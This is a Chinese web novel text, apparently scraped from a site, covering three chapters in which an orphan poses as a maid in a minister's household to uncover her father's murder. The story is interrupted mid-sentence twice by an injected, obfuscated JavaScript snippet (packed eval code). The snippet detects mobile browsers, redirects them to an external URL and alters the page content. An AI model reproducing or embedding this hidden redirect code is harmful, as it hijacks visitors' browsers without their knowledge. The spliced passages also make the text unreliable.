《柔弱小丫鬟彻底杀疯了》 1. 入府 卯时的露水凝在青瓦上,陆府的乌漆角门在雾气里慢慢打开。 陆府的管事嬷嬷人还没出来,那发髻上的长金簪子就先从门缝里探出了个头,在晨光里闪得直晃人眼。 刘伢婆眼尖,立马扯着嗓子凑上去:“哎哟喂,赵姐姐,您今日可真是格外贵气!这头上簪子是老夫人赏的吧?这满府啊,也就您最得老夫人青眼!” 赵嬷嬷斜睨了她一眼,也不答话,目光从伢婆身后的那二十几个小丫鬟扫过,蹙眉道:“怎么这回就送了这么几个?” 刘伢婆连忙道:“这次虽少点,但却是仔细挑过的,都是齐整的人儿,保准主子们满意。” 这二十几个小丫鬟都低着头,大气也不敢出,但最后面有一个脊背格外的挺,在一片怯懦中显得很是出挑,赵嬷嬷不由多看了两眼。 “排成一列,鞋底在外面蹭干净了再进来。”她甩下一句话,直接转身进门。刘伢婆连忙招呼着丫鬟们跟随其后。 赵嬷嬷径直走在前头,步子迈的不大不小,裙角纹丝不动,这高门大户的规矩刘伢婆早看过无数遍,但每次看还是忍不住咂舌。 进了府门,青石板路两侧是修剪得齐整的花木,松柏苍翠,中间点缀着几株开得正好的海棠。不远处是山石流水,假山堆叠。再往前,一道曲折的回廊横贯东西,檐下悬着风铃,风一过,便荡出声响。 这府里的一草一木,一砖一瓦,都透着股文墨浸润过的雅致。 队伍中几个小丫鬟已经看呆了,脚步不由慢了下来。 “磨蹭什么呢!”刘伢婆瞪了一眼,抬手要打:“上不得台面的东西——” 就在这时,拐角处忽然冲出来一个靛青衣裳的丫鬟,笔直撞在刘伢婆身上。在刘伢婆的吱呀乱叫声中,丫鬟手中的燕窝盅直接掉在地上,发出一声响,摔了个粉碎,滚汤泼在了地上。 “怎么回事!”赵嬷嬷盯着这一地狼藉,额角青筋突突直跳:“你是哪院里的丫鬟,要反了天不成!” “嬷嬷饶命!”小丫鬟跪在地上抖如筛糠,眼泪啪嗒啪嗒的掉:“奴婢,奴婢是夫人院里新来的银杏,奉命给三小姐送燕窝........” 说着说着她便开始磕头:“求嬷嬷过会再罚奴婢,三小姐每日辰时二刻便要喝燕窝,晚一刻也不行,若是误了时辰,三小姐定会要奴婢好看!” “三小姐?”刘伢婆本来还因被撞了捂着腰龇牙咧嘴,这时立马声音又拔高了:“三小姐的脾气我是知道的,上次.........” “闭嘴。”赵嬷嬷冷着脸看向小丫鬟银杏:“我可救不了你,现炖燕窝少说半个时辰,如今已卯时三刻,神仙也来不及,你自己去与三小姐告罪吧。” 银杏一听,哭的更厉害了,几乎要背过气去。 赵嬷嬷越发烦躁,恨不得能当场发卖了这惹了事只会哭哭啼啼的小丫头。 只是,三小姐的脾气她可太知道了,娇纵的没数,还动不动对府内丫鬟又打又骂。这事虽与她无关,但她作为管事,出了事却不管不顾,误了主子的时辰,也实在是说不过去。 刘伢婆在旁边搓着手干着急:“要不.......” “来得及的。” 一道清冷的嗓音忽然响起。 众人回头,只看见丫鬟中最后排站出来一个穿灰布衫的。明明是洗的泛白的灰色衣裳,穿在她身上却素雅至极。一张白玉雕就的鹅蛋脸,眉如远黛,眸若寒潭,很是清丽。她身子薄的似乎一阵风就能吹倒,但背脊又挺的笔直。 她抬眸:“用井水熬制,可省两刻钟。” 说完,她便低着头直接上前,蹲下身,仔细看地上洒的燕窝,脸上没什么表情。 “这燕窝发的太过了。”她声音很淡,却字字清晰:“银丝已散,不成缕状。"她捻起一小丝,在晨光下细看,“火候也过了,燕窝入肺生气,入肾滋水,这般炖法,营养全失,如何养颜。” 这丫鬟站起来,向赵嬷嬷行了个礼:“奴婢逾越,只是想替嬷嬷分忧,”她仰起脸:“若用井水兑枇杷露,文火慢煨一刻钟,不仅省时,汤色更清,润燥养颜之效反而更佳。” 赵嬷嬷有些怔住,竟然没有立刻出声,只是仔仔细细打量了眼前这丫鬟一番。 “你怎的懂得这些?”她眯着眼问。 “家中曾开过药铺,奴婢也跟着学过一些,铺子里请的老郎中,常给城中夫人开养颜方子,奴婢便从他那学了不少。” 赵嬷嬷果然在这她身上闻到了若有若无的药香,似乎是从她腰间那边角都磨的发白的荷包里散发的,看来还真懂得点医理,这在下人里可是极少有的。 赵嬷嬷随即转头对着跪在地上的银杏怒喝道:“还不快照着去做!等着三小姐扒你的皮吗!” 银杏吓得浑身一个激灵,连忙爬起来跌跌撞撞就去了,赵嬷嬷这才神色放松了点,问道:“你倒是机灵,胆子也大,叫什么?” “奴婢凌青。”人如其名,倒都是清清冷冷。 赵嬷嬷点点头,指了指身边:“站最前面来吧。” 凌青应了声是,在其他丫鬟羡慕的眼神中,走到队伍最前端。她扫过眼前的院落,面色仍然平静如水,心里却是万丈波澜。 绕过无数个回廊,只看见一重又一重的院落延伸向远处,仿佛永远望不到尽头。高耸的飞檐上蹲着铜铸的脊兽,正冷冷地俯瞰着她。 陆府,远比她想象的要大,规矩,也远比她想象的多。 凌青微微垂眸,粗布衣袖下的指尖不自觉地收紧。这样的高门大户,丫鬟的日子从来都是如履薄冰。一个不慎,轻则挨板子,重则丢了性命。可她必须在这里待下去,找到姐姐。 四个月前的情景又浮现在眼前,那是她最后一次见到姐姐叶清涟。 那日黄昏,残阳如血,姐姐拿了两个包袱,急匆匆翻身上马,那匹枣红马也焦躁的踢着前蹄,喘着粗气。 她那时并未当回事,只是放下手中的书,问道:“你去哪?” “你和爹爹说,我去临县找姑母。”姐姐强挤出个笑容,毫无往日的没心没肺。 她皱了皱眉,眼神凌厉的看过去:“到底去哪?” 姐姐慢慢收敛了笑容,正经道:“去做一件事,要不我于心不安。”说完,便扬起马鞭,喊了一声“驾”,马鞭破空的声音惊飞了檐下的麻雀。姐姐没有回头,只留下一句“三日后就回”,声音飘散在风里。 前三日,她瞒着父亲,直到三日后,姐姐并未回来。 第四日,她终于瞒不下去,告诉了父亲叶景菘。 父亲向来温雅如竹的脊背,瞬间佝偻了,眼神里全是慌乱,可他没有怪她,只是摸摸站起来,收拾细软。 “清涟虽然风风火火,但向来有分寸,定不会有事。”父亲看似坚定,语气却仍透着几分颤颤巍巍:“你去临县找她,我去京郊那边。” 她找遍临县,毫无姐姐的消息,便又去了周边的一些小镇。 直到一日,信鸽扑棱棱落在窗台。 “清涟踪迹现于京城,吾即往查,见此速来。” 那一刻,她以为事情终于迎来了转机,京城天子脚下,繁华热闹,姐姐定不会出什么事,去往京城,迟早能找到姐姐。 她永远记得自己进入京城那日的天色,铅云压城。 她盼望一家在京城团圆,最后只盼到一具盖着草席的尸身。 父亲死了。 她攥着信纸找寻父亲的落脚客栈处,途径护城河,只见一群人围着一具盖着草席的尸首指指点点。 “真是可怜呐,在河里泡了这一夜,模样都看不出来了。” “还是个读书人.......” 她本想越过人群往前走,忽一阵风掀起草席一角——袖口上歪歪扭扭的竹纹刺进眼底,竹叶扭曲的都看不出是竹。那是她小时候想装孝女,偷偷拿绣花针给父亲绣的,父亲却笑着夸她,还说要穿着去衙门给同僚显摆,以致穿久了也不肯脱下来。 那一刻,她好像失聪了一般,周围人的议论声全都消失了。她木然地站在原地,想喊点什么,却喊不出声。 她忘记了自己如何拨开人群,跪倒在草席面前,她颤抖着手掀开席子,河水的腥气扑面而来。 那浮肿变形的脸极为可怖,可她还是一眼认出了父亲。 她想喊一声“爹”,可悲鸣卡在喉咙间化作一声呜咽。她死死咬住舌尖,铁锈味在口中炸开。她强迫自己站起来,假装若无其事的走开,好像跟尸体毫无关系一样。 因为她知道,父亲是会水的,所以绝不可能失足落水淹死,一定,一定是有人害了他! 而这,绝对和姐姐失踪脱不开关系。她恨的想立刻手刃那幕后凶手,将他剥皮抽筋。可她做不到,她连当面去给父亲收尸都不可以,若是她暴露,下一个死的就是她。 她不怕死,可若是她死了,姐姐就无人救,父亲的死因就永远不明不白。 她找了一处角落蜷缩着,不知道等了多久。直到看到有官兵过来拉尸体去乱葬岗。 她跟随去乱葬岗,此时乱葬岗飘起了细雨。等到夜深,她用手一点点扒开湿土,指甲缝里嵌满泥血,她却毫无痛觉,只感觉浑身冰凉麻木。终于,她找到父亲的尸体,紧紧抱住,眼泪无声滚落。 她一向瘦弱,那天却背着父亲的身躯,在泥泞中出了乱葬岗。她将父亲拖上板车,一路回到家乡。 安葬父亲时,她发现了父亲身上有些许花粉,从未见过。她查阅书籍,才知道这是极少见的绿花杓兰。 而全京城.......只有翰林学士兼礼部尚书陆秉风的陆家才种植。 “你们在此站着,我去里面请各位主子。”赵嬷嬷的声音让凌青从回忆里一下子惊醒。 她微微低头,垂下眼眸,掩盖住情绪,仿佛那滔天的恨意从来没出现过。 她们此刻到了陆府主母的院子,院中栽着几株名贵的垂丝海棠,正值花期,粉白的花瓣随风飘落,洒在汉白玉砌成的莲花池边。青瓦白墙的垂花门半掩着,匾额上写着“栖桐院”三个泥金大字,字体写意温柔,但不知为何总透着一股冷意。 “夫人到——” 随着丫鬟的通传,湘妃竹帘掀起,一位夫人扶着丫鬟的手缓步跨过高高的门槛,她身着一袭月白缎面襦裙,上面绣着银丝云纹。腕间翡翠镯随着动作轻响,那上好翡翠衬得她肤若凝脂。她虽已年过三十,却温婉动人至极,这位显然就是主母陆夫人。 "给夫人请安。" 众丫鬟齐齐福身。凌青随着众人行礼,余光瞥向陆夫人身后跟着的几位女眷。 后面两位年纪长一些的,应当是府里的姨娘。左边那位着一身绛紫色衣裙,额间贴着艳红花钿,美貌惊人,明艳妖冶。右边的姿色略平,但看着脾气似乎挺好,脸上带着老好人一样的笑容。 凌青开始迅速对应自己入陆府前打探的消息,这位美貌姨娘应该是最得宠的萧姨娘,那位性子好的是育有一子的白姨娘。 两位年纪较轻的,自然就是府内的小姐。 前面那位站的离陆夫人极近,一身茜红色罗裙,眉眼间全是骄纵和矜傲,应当就是陆夫人的女儿,那位人见人怕的嫡三小姐陆皎了。她的目光挑剔着在丫鬟们身上扫过,手里不耐烦的撕扯着锦帕。 后面那位小姐长得和萧姨娘极像,却比她脱落的更加美艳动人,肤光胜雪,凤眼微挑,年纪不过十四五岁,就隐隐有点倾国倾城的意思,这是四小姐陆微。 刘伢婆又忙不迭地凑上去行礼:“老奴给各位主子请安,这次寻着这些伶俐丫头,马不停蹄就给陆府送来了。” 三小姐陆皎斜睨了刘伢婆一眼:“你这老货,真是睁眼说瞎话,一个个看着呆头呆脑,哪伶俐了。” 凌青听着陆皎的话,有点大开眼界。这三小姐还真是无礼地毫不遮掩。只是之前她查过,陆夫人林雪桐乃名门林家,祖上出过三位帝师,最是讲究诗礼传家。 可眼前这位三小姐........ 她身后的丫鬟似乎在提 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15956617|177626||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 醒她,却被她狠狠掐了一把手背,那丫鬟疼得眼眶发红却不敢出声。 这般做派,哪有半点教养的影子? 陆夫人林雪桐嗔怪地看了一眼陆皎,伸出手轻点了下她的头:“女儿家,说话要温婉客气些。下次再出言不逊,我可就要罚你了。”她嘴上说着要罚,实际语气并无太多责怪之意。 陆皎撇了撇嘴,不以为然。 一旁的萧姨娘捏着帕子轻笑:“夫人可真是好脾气,难怪孩子们都喜欢您。若是我的微儿说话不中听了,妾身早将她关在屋里罚上几天禁闭。” 她这一番讽刺味十足的话说完,院里瞬间寂静了。 过了许久,白姨娘尴尬笑了一声,打了打圆场:“夫人,看这些丫鬟,个个水灵灵的。妾身院子里倒是不缺人手,这次先让小辈们挑吧。” 林雪桐似乎没听懂萧姨娘言语里的锋芒,温婉一笑:“皎儿,微儿,你们去选吧。” 陆微福了福身子,挺着小腰板走了过来。那双贵气十足的凤眼扫过一众丫鬟,最终停在了凌青身上。 “就………” “我要这个!”陆皎突然抢步上前,差点把凌青挤的向后仰倒。“这个归我了。” “你!”陆微恼怒:“这么多人呢,你为何要抢我看中的!” 陆皎梗着脖颈,丝毫不让:“怎么就成你的了,我先喊的,自然是我的!” 凌青费九牛二虎之力才稳住身子,内心很想给这横冲直撞的丫头一个大巴掌,但她不能,她只能装作木讷惶恐的站在那,被这俩人抢来抢去。 “微儿,”萧姨娘似乎还嫌不够热闹,又在柴上添了一把火:“嫡庶有别,你是庶女,自然是得让着你的嫡姐的。”她特意在“嫡姐”两个字上咬了重音,生怕别人不知道陆皎以大欺小。 陆微听了这话,皱着的小脸慢慢舒展起来,漏出一个讥讽的笑容:“既然三姐姐喜欢,那妹妹就不和你抢了。只是想提醒姐姐一句,可别像之前一样打骂丫鬟了,要不然多少丫鬟都不够使的。” “你!”陆皎甩开搀扶的丫鬟,指着陆微的鼻尖,气的浑身颤抖。 “好了。” 林雪桐温柔的声音劈开院内的剑拔弩张,她眼神看向站立着的凌青,微笑道:“叫什么名字?” 凌青闻言立马跪下,低着头沉声:“奴婢凌青,是‘翼翼众奇分,濖濖凌青照‘①的凌青。” “哦?”林雪桐有些惊奇:“你读过书?” “奴婢父亲曾是开药铺的,奴婢也少不了在铺子里帮忙,闲暇就看了些医书和闲书,也跟着郎中学了些医理。后来父亲去世,药铺被亲戚抢了去,奴婢一个孤女孤苦无依,便来此了。” 这并非虚构,的确有这么一位孤女,只不过不是她。 这孤女的父亲死后,唯一的药铺子被叔叔嫂嫂夺走,叔嫂还想将她嫁给当地七十老鳏夫换取钱财,她崩溃之下,上吊自杀。 凌青的父亲叶景菘是清水县主簿,可怜这小孤女,悄悄给她买了棺材下葬,所以凌青才知晓此事,此次来陆府,便借用了这孤女的名字和身份。 林雪桐笑意更盛,似乎很是赞赏:“懂医理的丫鬟不多,你又这般稳重,很好。” 话虽如此,她却没有立马定下凌青的归宿,凌青猜测她对自己并不是很满意,可她也不知道是哪里出了错。 此次入陆府,她早已想好自己要去哪里,她这样表现自己,就是想进林雪桐或者陆皎的院子里。毕竟只有接近陆府主母,这个后宅的关键位置,她才能得到更多信息。 虽然陆皎蛮横无理,又蠢笨如猪,但这样的人也容易糊弄,比在林雪桐的院子里更要安全一些……… 她想起之前那个打翻燕窝碗的小丫鬟,又看了一眼陆皎精心装扮的衣着首饰,忽然知道该如何说了。 “谢夫人夸奖,奴婢医术也并不深通,只是在药铺时,习得不少民间养颜秘方。有的方子可将陈年疤痕去除,保养肌肤的方子更是数不胜数。” 果然,陆皎的目光看过来:“当真?” “回禀小姐,这是自然,奴婢的皮肤之前蜡黄粗糙,就是靠方子养成这样的。”凌青抬起脸,莹润欲滴的脸蛋白嫩的能掐出水。 “母亲!”陆皎跑过去扯住林雪桐的衣袖,撒娇道:“我院里就缺这样懂医理的。” 林雪桐却还是不置可否,只是轻笑着:“你整日又是燕窝又是珍珠粉,还不够你折腾的?凌青习得医术,去给你养颜,真是糟蹋才学。” “老爷院里缺个研墨的,”她忽然话锋一转:“凌青既然识字,又如此识大体,去伺候老爷是最好的。” 话音刚落,凌青就敏锐地察觉到,萧姨娘和白姨娘略皱了皱眉,赵嬷嬷有些欲言又止。 她也终于知道为何这位陆夫人迟迟不下决定,敢情是觉得她长得不错,又识字,怕是个不安分的,生怕她哪天起了什么狐媚心思,不想留她在府里却又找不出理由罢了。 如今这么问,更是摆明了试探她。若是她真的傻乎乎应了,怕是会被直接找个理由扫地出府。 她假装没听出弦外之音,慌张低下头,掩饰住眼神里的冷然:“奴婢粗笨,帮夫人小姐煎个药做个活还好,伺候老爷笔墨是万万不可,只怕还不到一晌,就会闯下大祸。” 陆夫人轻轻蹙眉:“你能识字,定是伶俐的。” 凌青强行让自己打了个哆嗦,声音也带上颤音,一副胆小怯懦的样子:“奴婢在药铺时就经常被父亲教训,只因奴婢虽学东西快,但没有眼力劲,更不懂察言观色。奴婢的父亲说奴婢是眼大无神,视而不见。” 这大白话直接把女眷们逗笑了,萧姨娘摇着扇子打趣道:“眼睛是大。” 林雪桐状似遗憾,叹了声气:“可惜了,老爷跟前的差事容不得出错,你还是先去皎儿院子里历练历练吧。” 凌青知道,林雪桐这是放心了。 她紧绷的身子刚刚放松了一些,忽然听见乐一道威严的声音。 “慢着———” 2. 煎药 一位老妇人拄着沉香木拐杖缓步从院外而来,满头银丝梳起,发间只插了一支沉水衔梅簪,通身素净却气势迫人。 林雪桐带着身后众人行礼,恭声道:“母亲。” 扶着陆老夫人过来的,是一位年龄大概十六七岁的女子。凌青看了她一眼便有些愣住,只因为这女子实在是符合她想象中的高门贵女——仪态端方,气度清华,举手投足间自带书卷清气与名门闺秀的大气与从容,她浅浅一笑,梨涡若隐若现,实在是温婉如玉。 她敛衽屈膝,声音也如人一样温柔:“见过母亲和两位姨娘。”说着又看向陆皎和陆微:“两位妹妹也在。” 陆皎翻了一个白眼,却还是不情不愿的叫了声“二姐”。 原来这女子是府内的二小姐,陆沁。凌青快速回想自己之前打探的陆府消息,这位陆沁小姐是陆家先夫人的女儿,而先夫人生下陆沁不久后就撒手人寰。陆大人深爱亡妻,坚持要为亡妻守孝三年,但当今陛下体恤他府中无女主人打理,刚出生的嫡女也需人照料,就让他纳了礼部郎中嫡女林雪桐为侧夫人,等守孝过后,林氏便扶为正室。 同是家中嫡女,再看看陆皎对陆沁的态度,这陆府的关系还真是耐人寻味。 不过林雪桐这个继母倒似乎对陆沁极好,她关心道:“沁儿,你风寒刚好,怎么就出来走动了。” 陆沁温声:“多亏母亲前几日送的补品,才好的如此快,只是在屋里闷得久了,想出来陪陪祖母,祖母说今日府里来了新丫鬟,我们便来凑凑热闹。” “这丫头,病刚好就忙着来看我,一点不爱惜自己的身子。”陆老夫人语气凌厉,可看着陆沁的眼神却藏不住笑意,只不过看向别人时就没那么和善了,她目光如刀地扫视了一圈众丫鬟,最终落在了跪在最前面的凌青身上。 “刚才在院外听了个一知半解,有个丫鬟颇懂医理?”陆老夫人拐杖在地上一顿:“既然这样,就让她到沁儿的月露榭煎药吧。” 凌青正在盘算着这些人之间的关系,忽然点到她身上,她不由愣了一下。 “祖母,这丫头已经被母亲安排到我院子里了!”幸好还有陆皎这个大炮仗,不待凌青有何反应,她就已经蹦出来叫喊了。 陆老夫人的手中拐杖重重在地上磕了一下,发出“咚”的一声声响:“怎么,你要与你二姐争?” “祖母,不碍事的。”陆沁显然有些不知所措,在旁劝和。 “皎儿,是不是我平常太惯着你,谁让你这么和祖母说话的!”林雪桐一看老夫人发怒,也不再对自己这个女儿睁一只眼闭一只眼,只能厉声呵斥:“你二姐身子不好,院里的人手又不够,把凌青指过去最好,我也能放心。” 说完,她看向凌青:“凌青,你可定要好好伺候二小姐的汤药。” 陆皎还想再闹,却直接被林雪桐身边的大嬷嬷给拉走了。凌青只听他们三言两语之间就将自己安排到了二小姐院内,自己除了认了没任何办法。 “奴婢定会尽心竭力。”她应声,额头抵在冰冷的青砖上,指甲不由掐进掌心。 比她想的还要困难,为奴为俾,就意味着完全没有做主的权利,连拒绝的资格都没有。 只是第一步,她就出了差错。这往后,还不知道有多少事不能如她愿。 她在家中一直被父亲夸聪慧,也的确跟着父亲读了不少书,虽外表不表现出来,但她内心一直自恃见识明白,头脑不凡,没有什么事是费心谋划解决不了的。 只是,不甘心又如何。她如今就是二小姐陆沁院中的人了,就得从这开始。 陆沁生母已逝,在家中没有实权,但她终究是嫡出长女,且蕙质兰心,才情超逸,在京中是出了名的,所以备受陆府老爷陆秉风看中。 陆府的风吹草动,未必就能避开这位二小姐。 凌青心内有数了,待其他人挑选完丫鬟后,便站在一旁等候月露榭的人带她回去。 她假装不经意的看向刘伢婆,这婆子刚赚了钱正乐呵着呢,此时眉飞蜂舞的奉承着赵嬷嬷。 她说的唾沫星子直飞,说累了停下转头时,正好对上凌青的眼神。 对视那一刻,刘伢婆似乎看见什么恐怖东西似的,手中的帕子掉落在地上。 还没等她捡,不远处来了个笑容慈和的嬷嬷,直接与凌青说了几句话,便带着走了。 刘伢婆看着两人远去的背影,只感觉额头都是冷汗,她永远忘不了刚才那一眼,那丫头空洞漆黑的眼睛直勾勾盯着她,犹如恶鬼一般,她知道,这丫头在威胁她。 “早知这丫头如此邪性,老娘才不收那包银子,安排她进陆府,也不知她要干什么………” 她咒骂着捡起地上的手帕,匆匆离开。 ——————————— 陶嬷嬷领着凌青穿过月露榭的小门,院内清幽雅致,廊下悬着几盏素纱灯,若是晚上,风过灯影摇曳,定会衬得满院竹影婆娑。 “二小姐身子弱,每日都得喝汤药。”陶嬷嬷是陆府的老人了,之前是先夫人的丫鬟,陆沁出生后就一直看照着陆沁。从她的眼神也不难看出,她是当真将陆沁当作亲女儿一般。 推开后院茶药间的木门,一股药香扑面而来,陶嬷嬷温和道:“你既懂药理,日后便在这当差。” 凌青应了声“是”,目光却已迅速扫过屋内的陈设。药柜上青瓷罐排列齐整,却有几个盖子微微半开着,隐约可见里头干枯的草药。案几上几张药方摊开着,纸边已被水渍浸得发黄。墙角那一排煨药的砂罐倒是摆得整齐,只是凌青眼尖,瞧见其中几个罐身上有道细细的裂纹。 这月露榭岂止没有懂医理的,简直就是对陆沁的汤药根本就不上心,在这做假功夫罢了。 凌青收回眼神,没有说话。 “碧桃!”陶嬷嬷高呼了一声:“来新人了!” 碧桃从里间走出来,她杏眼桃腮,有几分美貌,但看人时细眉一挑,带着几分刻薄。 她笑盈盈地过来,福了福身子,语气带了几分谄媚:“嬷嬷放心,奴婢定会好好教她。” 说着说着,她便亲热地扯着陶嬷嬷的袖子,说自己是如何辛苦,每日的药都是她亲自盯着火候,新的稀缺药材是她千辛万苦央求库房给她的……… 凌青心想:如此费心费力还搞成这个死样子,那就不是不用心,而是脑子有问题。 待陶嬷嬷走后,碧桃脸上的笑容瞬间冷了下来,她斜睨了凌青一眼,哼笑了一声,坐在椅子上,漫不经心的摆弄着手指:“叫什么名字?” 凌青素来最烦这种没有脑子还乱摆谱的人,只是初来乍到,对方是比自己高一级的二等丫鬟,她只能忍下气,沉声道:“凌青。” 碧桃嗤笑一声,随手拿起桌子上的药方开始念:“辰时,健脾益气汤,党参四钱、白术三钱、茯苓三钱、黄芪五钱、山药一两、甘草一钱,水煎至七分,温服;午时,养血宁心汤,当归三钱、白芍二钱、熟地黄四钱、酸枣仁三钱、龙眼肉十枚,文火煎至八分,去滓温服;子时,滋阴安神饮,百合五钱、麦冬三钱、五味子二钱、远志一钱、朱砂二分,煎沸三滚即止,调蜜温服。”快速念完后立马问道:“怎么,记住了吗? 凌青看着她那不怀好意的眼神,立马知道她什么意图,不就是想给自己立个下马威,刻意为难她吗。 不好意思,还真为难不到。 凌青嘴角微微一扬,摆出一副老实巴交的模样:“嗯………” 碧桃越发得意:“记不住是吧,你这榆木脑袋…………” “辰时,健脾益气汤,党参四钱、白术三钱、茯苓三钱………”在碧桃目瞪口呆的表情中,凌青慢条斯理地背完,还不忘最后假装小心翼翼的补充一句:“我实在蠢笨,不知道记的是否可对?” 碧桃完全愣住,显然没想到她会一字不差地复述完。反应过来后,她眼睛里闪过一丝恼意:“既然你这么伶俐,那我就放心了。” 凌青垂下眼:“那碧桃姐姐可否教一教我煎药的规矩,我好午时给小姐煎药。” “不急,”碧桃站起来,语气讥讽:“你先忙别的。” 她指了指后院:“你去将柴火劈了。” 凌青微微一顿,抬起眼眸:“劈柴?” 本朝三品大官的府邸,嫡女的院子,竟还要煎药丫鬟亲手劈柴,自给自足,真是天大的笑话。她虽之前没接触过大户人家,但也知道这柴炭都是统一发放,哪轮得着她去劈柴。 凌青直视着碧桃的眼睛:“老夫人让我来煎药,我若是不煎,老夫人知道了,怕是会责怪我和碧桃姐姐。” 碧桃丝毫不怕,笑了一声:“你当自己是什么东西,老夫人岂会在意你。一个新来的丫头片子,就想碰小姐的汤药,我哪知道你是什么心思,万一在汤药里动手脚怎么办?我呸!” 凌青知道她存心刁难,以她三等丫鬟的身份,似乎只能老老实实认栽。 父亲也一直告诉她,成大事者,必忍小岔。 可是她信奉的原则是,人善被人欺,马善 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15956618|177626||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被人骑。如若她忍让一次,就会彻底被看扁,任意拿捏。 如今刚入府,若就任由被这么个刁钻丫头欺负,那她还有什么本事调查姐姐和父亲的真相? 凌青抬起眼,认真得看着碧桃:“碧桃姐姐让我去劈柴,我自然要干。只是………”她话锋一转:“陶嬷嬷让我一定要好好请教姐姐,还请姐姐看看我劈柴劈得如何。” 碧桃得意的仰起下巴,她自然愿意坐在旁边看凌青累的气喘吁吁的样子,到时候再嘲讽两句。 “我自然会监督你。” 后院的一个窄小匝道里,堆满杂物,最角落堆着几根腐朽木头,表皮发黑,上面全是虫蛀孔洞,显然放了老久。 凌青看了一眼,什么也没说,老老实实开始砍。 碧桃搬了个小凳在旁坐着,看着凌青劈柴的样子,在那捂着嘴嗤笑,笑完就拖着长腔不屑道:“笨手笨脚的,赶紧的啊。” 凌青垂下眼眸,心想:笑吧,使劲笑,看一会儿还能不能笑得出来。 她艰难地举起斧头,斧头劈下,斧头劈下,陈木却并未应声而裂,反倒溅起一片碎屑,扑了凌青满身。 听见碧桃笑的更大声,凌青微微勾了勾唇角。 她动作更加笨拙,下一斧劈歪,直接溅起更多木屑,木屑飞的老远,有一片直接顺着碧桃的脸颊滑过去。 “啊!”碧桃尖叫一声,站起来连连往后退,捂着脸:“你瞎劈什么!” 凌青连忙放下斧头,做出一副不知所措的样子:“碧桃姐姐赎罪!这木头朽了,一劈就碎,我不是故意的。” 见碧桃捂着脸不说话,她面上越发愧疚,忙道:“姐姐,你伤着了吗?” 说着,便急忙朝她走过去,走的时候步履仓促,脚下瞬间被地上放着的杂物绊了个踉跄,直接一下子朝碧桃扑了过去——— 碧桃还没来得及反应,就被凌青整个人撞到踉跄后退,“砰”一声撞上后面的药架子,腐朽的木架子也轰然倒塌。在碧桃的尖叫声中,她的衣裳被断裂的木刺撕开一条长口子,腕上的镯子也不知道磕到哪,直接咔嚓裂成两半。 不过电光火石的时间,她的脸上染了血痕,衣裳和镯子一片狼籍,碧桃彻底惊呆了。 凌青“手忙脚乱”的爬起来,一脸愧疚:“碧桃姐姐,对不起,我不知被什么绊倒了,就,就这样了。” 碧桃终于回过神来,又是一声尖叫,她气得浑身发抖,扬起手就要给凌青一个耳光:“你这贱人!真是疯了——” 凌青心内冷笑一声,快速把身子一偏,躲了过去。 “姐姐别生气!我这就去请陶嬷嬷来,让陶嬷嬷找大夫。”她佯装惊慌,不顾碧桃宅后面喊叫,撒腿就往院里跑,一边跑声音一边扬高:“陶嬷嬷———” 碧桃脸色骤变,顾不得脸上火辣辣的疼痛,使劲跑上来抓住凌青的衣袖:“你给我站住!” 她胸口激烈起伏,不断喘着粗气,一声不吭的看着说凌青,掐着凌青的手恨不得透过衣袖直接掐入皮肉里。 凌青知道她在想什么,若是陶嬷嬷来了,看见这番情景,必会追问为何两个人会在这后院劈柴,自然就牵扯出碧桃滥用权利,让新丫鬟干粗活的事。 而且,碧桃身为这茶药间管事丫鬟,明面上就敢如此大胆,背地里还不知道干了什么吃回扣,卖药材的事,说不定这废弃的后院就藏着什么证据,否则她怎么会如此紧张。 凌青看着碧桃拉住她的手,佯装不解:“碧桃姐姐,你这是干什么。” “今日………今日你先回去歇着。”碧桃强压怒火,声音像是从牙缝里挤出来的:“不必干活了。我自己去疗伤换衣服。” “那怎么行呢?”凌青欣赏着她脸上的血痕,很是满意:“姐姐受伤了,才该回去休息,今日小姐的药就让我煎吧。” “滚!”碧桃再也绷不住了,尖声呵斥道:“叫你回去就回去!明天之前不要出现在我面前了!” 凌青连忙低着头快步走出后院匝道,肩膀瑟缩,像被吓坏了一样。可刚出了茶药间,转过回廊拐角,她背脊便倏然挺直,眼神只余一片冷冽寒意。 这没脑子的东西,竟也能当上管事丫鬟 这小打小闹的刁难在她眼里不过是蝼蚁闹剧罢了,但就算蝼蚁也很缠人。姐姐的线索可是一点也等不得,她必须赶紧在府里找机会打探。 若这碧桃继续找事搓磨她,定会阻碍她的计划。 若再有下次………… 凌青攥紧了手心。 3. 旧梦 月露榭西厢的下人房很是干净,连三等丫鬟的通铺都格外讲究。六张榉木床排列开来,每张都挂着素纱帐子。 凌青的铺位靠窗,此时夜已深,细雨轻叩窗棂,她半梦半醒间也隐隐能听见雨声。 在雨声中,她做了梦。梦里,她回到了童年时期。 她并不是父亲叶景菘的亲生女儿,她原本只是一偏远山村农户的孩子。 她爹娘在她之前就已生了三个女孩,这可把想要男娃的他们急坏了,终于又怀一胎,找了算命的一算,说保准是男胎。 结果生下她来,傻了眼。 算命的说,是她“天煞之命”,夺了男胎的位置。 于是,爹娘将所有怨恨都倾注于她身上,毕竟一个克死男胎的赔钱货,不配得到任何好脸,甚至连名字都不配有。 她像牲口一样住在柴房里,从有记忆起就每天吃最少的饭,干最多的活。 她的三个姐姐虽然没顶着天煞名头,但过的也没比她好多少。 